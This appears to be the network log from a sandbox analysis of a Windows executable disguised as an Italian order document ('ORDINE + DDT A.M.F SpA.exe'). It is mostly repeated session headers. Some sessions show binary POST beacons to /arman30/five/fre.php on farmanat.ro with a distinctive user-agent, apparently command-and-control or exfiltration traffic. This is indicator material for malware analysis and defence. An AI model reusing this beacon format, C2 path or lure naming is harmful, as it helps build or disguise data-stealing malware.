Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
282	192.168.11.20	50124	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
283	192.168.11.20	50125	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
284	192.168.11.20	50126	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
285	192.168.11.20	50127	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
286	192.168.11.20	50128	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
287	192.168.11.20	50129	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
288	192.168.11.20	50130	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
289	192.168.11.20	50131	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.11.20	49864	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:20.354984999 CET	6345	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:20.438185930 CET	6345	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:19 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
290	192.168.11.20	50132	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
291	192.168.11.20	50133	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
292	192.168.11.20	50134	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
293	192.168.11.20	50135	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
294	192.168.11.20	50136	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
295	192.168.11.20	50137	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
296	192.168.11.20	50138	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
297	192.168.11.20	50139	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
298	192.168.11.20	50140	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
299	192.168.11.20	50141	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49822	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:01.719255924 CET	6303	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:01.885267019 CET	6304	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:00 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.11.20	49865	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:21.038147926 CET	6346	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:21.125472069 CET	6347	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
300	192.168.11.20	50142	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
301	192.168.11.20	50143	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
302	192.168.11.20	50144	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
303	192.168.11.20	50145	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
304	192.168.11.20	50146	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
305	192.168.11.20	50147	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
306	192.168.11.20	50148	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
307	192.168.11.20	50149	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
308	192.168.11.20	50150	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
309	192.168.11.20	50151	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.11.20	49866	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:21.765352011 CET	6347	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:21.848124981 CET	6348	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:20 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
310	192.168.11.20	50152	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
311	192.168.11.20	50153	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
312	192.168.11.20	50154	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
313	192.168.11.20	50155	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
314	192.168.11.20	50156	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
315	192.168.11.20	50157	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
316	192.168.11.20	50158	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
317	192.168.11.20	50159	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
318	192.168.11.20	50160	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
319	192.168.11.20	50161	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.11.20	49867	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:22.464833975 CET	6349	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:22.549273968 CET	6349	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:21 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
320	192.168.11.20	50162	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
321	192.168.11.20	50163	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
322	192.168.11.20	50164	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
323	192.168.11.20	50166	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
324	192.168.11.20	50167	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
325	192.168.11.20	50168	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
326	192.168.11.20	50169	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
327	192.168.11.20	50170	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
328	192.168.11.20	50171	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
329	192.168.11.20	50172	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.11.20	49869	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:23.130212069 CET	6356	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:23.214514017 CET	6357	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
330	192.168.11.20	50173	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
331	192.168.11.20	50174	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
332	192.168.11.20	50175	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
333	192.168.11.20	50176	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
334	192.168.11.20	50177	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
335	192.168.11.20	50178	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
336	192.168.11.20	50179	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
337	192.168.11.20	50180	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
338	192.168.11.20	50181	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
339	192.168.11.20	50182	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.11.20	49870	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:23.726845980 CET	6358	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:23.811579943 CET	6358	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:22 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
340	192.168.11.20	50183	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
341	192.168.11.20	50184	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
342	192.168.11.20	50185	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
343	192.168.11.20	50186	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
344	192.168.11.20	50187	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
345	192.168.11.20	50188	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
346	192.168.11.20	50189	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
347	192.168.11.20	50190	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
348	192.168.11.20	50191	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
349	192.168.11.20	50192	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.11.20	49871	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:24.413482904 CET	6359	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:24.498095989 CET	6360	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:23 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
350	192.168.11.20	50193	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
351	192.168.11.20	50194	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
352	192.168.11.20	50195	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
353	192.168.11.20	50196	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
354	192.168.11.20	50197	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
355	192.168.11.20	50198	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
356	192.168.11.20	50199	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
357	192.168.11.20	50200	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
358	192.168.11.20	50201	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
359	192.168.11.20	50202	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.11.20	49872	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:25.080255032 CET	6360	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:25.168153048 CET	6361	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
360	192.168.11.20	50203	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
361	192.168.11.20	50204	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
362	192.168.11.20	50205	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
363	192.168.11.20	50206	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
364	192.168.11.20	50207	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
365	192.168.11.20	50208	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
366	192.168.11.20	50209	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
367	192.168.11.20	50211	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
368	192.168.11.20	50212	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
369	192.168.11.20	50213	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.11.20	49873	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data
Nov 25, 2021 10:48:25.780947924 CET	6362	OUT	POST /arman30/five/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: farmanat.ro Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: F45E6F10 Content-Length: 151 Connection: close
Nov 25, 2021 10:48:25.867208958 CET	6362	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 25 Nov 2021 09:48:24 GMT Content-Type: text/html; charset=UTF-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/7.0.33 X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
370	192.168.11.20	50214	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
371	192.168.11.20	50215	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
372	192.168.11.20	50216	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
373	192.168.11.20	50217	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
374	192.168.11.20	50218	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
375	192.168.11.20	50219	176.223.209.128	80	C:\Users\user\Desktop\ORDINE + DDT A.M.F SpA.exe

Timestamp	kBytes transferred	Direction	Data

